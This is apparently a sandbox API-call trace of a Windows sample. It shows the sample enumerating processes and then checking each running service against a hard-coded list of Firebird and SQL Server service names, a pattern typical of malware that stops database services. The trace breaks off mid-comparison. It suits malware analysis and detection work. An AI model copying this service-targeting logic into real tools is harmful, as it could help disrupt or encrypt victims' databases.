[0164.222] lstrlenW (lpString="conhost.exe") returned 11 [0164.222] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0164.222] lstrlenW (lpString="taskhostw.exe") returned 13 [0164.222] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0164.223] lstrlenW (lpString="NS2.exe") returned 7 [0164.223] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.223] lstrlenW (lpString="conhost.exe") returned 11 [0164.223] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0164.224] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0164.224] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.224] lstrlenW (lpString="dllhost.exe") returned 11 [0164.224] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0164.225] lstrlenW (lpString="winhost.exe") returned 11 [0164.225] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0164.225] lstrlenW (lpString="cmd.exe") returned 7 [0164.225] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.226] lstrlenW (lpString="conhost.exe") returned 11 [0164.226] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0164.226] lstrlenW (lpString="mode.com") returned 8 [0164.226] Process32NextW (in: hSnapshot=0x380, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0164.227] CloseHandle (hObject=0x380) returned 1 [0164.227] Sleep (dwMilliseconds=0x1f4) [0165.136] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eeec8 [0165.136] EnumServicesStatusExW (in: hSCManager=0x6eeec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0165.136] GetLastError () returned 0xea [0165.136] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x3e86040 [0165.162] EnumServicesStatusExW (in: hSCManager=0x6eeec8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e86040, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e86040, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0165.163] CloseServiceHandle (hSCObject=0x6eeec8) returned 1 [0165.163] lstrlenW (lpString="Appinfo") returned 7 [0165.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.163] lstrlenW (lpString="AppXSvc") returned 7 [0165.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0165.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0165.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0165.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0165.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0165.163] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.163] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.163] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.163] lstrlenW (lpString="Audiosrv") returned 8 [0165.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0165.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0165.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0165.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0165.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0165.164] lstrlenW (lpString="BFE") returned 3 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.164] lstrlenW (lpString="BITS") returned 4 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0165.164] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0165.164] lstrlenW (lpString="CDPSvc") returned 6 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0165.164] lstrlenW (lpString="ClipSVC") returned 7 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0165.164] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0165.164] lstrlenW (lpString="CryptSvc") returned 8 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.164] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.164] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.164] lstrlenW (lpString="DcomLaunch") returned 10 [0165.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.165] lstrlenW (lpString="Dhcp") returned 4 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.165] lstrlenW (lpString="Dnscache") returned 8 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.165] lstrlenW (lpString="DoSvc") returned 5 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0165.165] lstrlenW (lpString="DPS") returned 3 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.165] lstrlenW (lpString="DusmSvc") returned 7 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0165.165] lstrlenW (lpString="EventLog") returned 8 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0165.165] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0165.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0165.165] lstrlenW (lpString="EventSystem") returned 11 [0165.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.165] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.166] lstrlenW (lpString="gpsvc") returned 5 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.166] lstrlenW (lpString="iphlpsvc") returned 8 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.166] lstrlenW (lpString="KeyIso") returned 6 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0165.166] lstrlenW (lpString="LanmanServer") returned 12 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.166] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.166] lstrlenW (lpString="lfsvc") returned 5 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0165.166] lstrlenW (lpString="LicenseManager") returned 14 [0165.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0165.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0165.166] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0165.166] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0165.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0165.166] lstrlenW (lpString="lmhosts") returned 7 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.167] lstrlenW (lpString="LSM") returned 3 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0165.167] lstrlenW (lpString="MpsSvc") returned 6 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.167] lstrlenW (lpString="NcbService") returned 10 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0165.167] lstrlenW (lpString="netprofm") returned 8 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.167] lstrlenW (lpString="NlaSvc") returned 6 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.167] lstrlenW (lpString="nsi") returned 3 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.167] lstrlenW (lpString="PcaSvc") returned 6 [0165.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.167] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.167] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.168] lstrlenW (lpString="PlugPlay") returned 8 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.168] lstrlenW (lpString="Power") returned 5 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.168] lstrlenW (lpString="ProfSvc") returned 7 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.168] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.168] lstrlenW (lpString="RpcSs") returned 5 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.168] lstrlenW (lpString="SamSs") returned 5 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.168] lstrlenW (lpString="Schedule") returned 8 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.168] lstrlenW (lpString="SecurityHealthService") returned 21 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0165.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0165.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0165.168] lstrlenW (lpString="SENS") returned 4 [0165.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.169] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.169] lstrlenW (lpString="sppsvc") returned 6 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0165.169] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0165.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0165.169] lstrlenW (lpString="SSDPSRV") returned 7 [0165.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.169] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 